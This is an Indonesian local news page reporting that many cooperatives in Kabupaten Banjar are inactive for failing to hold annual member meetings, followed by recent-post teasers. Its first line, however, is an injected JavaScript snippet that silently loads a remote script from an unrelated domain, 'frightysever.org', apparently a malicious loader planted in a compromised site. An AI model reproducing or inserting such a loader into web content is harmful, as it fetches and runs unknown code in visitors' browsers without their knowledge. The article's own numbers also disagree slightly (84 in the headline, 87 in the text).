(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Ekonomi

84 Koperasi di Kabupaten Banjar Dinyatakan Mati Suri


MARTAPURA, Kabupaten Banjar termasuk daerah subur koperasi. Berdasarkan data pada Dinas Koperasi dan Usaha Kecil Menegah (UKM), hingga 2017 tercatat ada sebanyak 240 unit koperasi dengan total anggota mencapai 29.115 orang.

Dari jumlah itu, Koperasi Unit Desa (KUD) terbanyak ada, yakni 60 unit. Koperasi Pegawai Negeri terbanyak kedua dengan 41 unit. Runut berikutnya, Koperasi Pertanian sebanyak 29 unit dan Koperasi Serba Usaha (KSU) sebanyak 25 unit.

Sayangnya, banyak dari koperasi tersebut sudah tak aktif lagi, alias mati suri. Dari 240 unit koperasi yang ada, 87 unit di antaranya berstatus tidak aktif. KUD misalnya, dari 60 KUD, hanya 27 unit yang aktif. Begitu pula dengan Koperasi Pertanian, dari 29 unit, 17 di antanya mati suri. KSU, dari 24 unit, 7 di antaranya juga hanya tersisa nama.

Tentang banyaknya koperasi yang mati suri, Achamad Suprapto, Kepala Dinas Koperasi dan UKM Kabupaten Banjar mangatakan, termasuk dalam daftar koperasi tidak aktif lantaran koperasi-koperasi tersebut tidak lagi pernah melaksanakan Rapat Anggaran Tahunan (RAT) yang menjadi syarat wajib beroperasinya koperasi.

“Koperasi yang tidak aktif karena tak lagi melaksanakan Rapat Anggaran Tahunan,” ujarnya, Jumat (6/10).

Penyebab lain koperasi tak aktif, lanjutnya, lantaran kekosongan pengurus. Namun begitu, pihaknya terus melakukan pembinaan terhadap sejumlah koperasi yang berstatus mati suri itu. Dari pembinaan yang dilakukan harapannya, koperasi dapat kembali aktif.

Selain melakukan pembinaan sejumlah koperasi yang tak lagi beroperasi, dalam upaya menggerakkan ekonomiu kerakyatan, Dinas Koperasi dan UKM Kabupaten Banjar juga akan melaksanakan pelatihan dan pembinaan untuk pada pelaku usaha kecil menegah.

Yang juga dilakukan Dinas Koperasi dan UKM, lanjutnya, yakni terus mensosialisasikan regulasi perijinan UKM yang bisa dikeluarkan pihak kecamatan. kemudahan perijinan UKM tesebut diharapkan kian dapat memicu tumbuhnya UKM lebih banyak lagi di Kabupaten Banjar. (rudiyanto)


Desy Arfianty

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

10 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

11 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

11 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

13 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

19 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.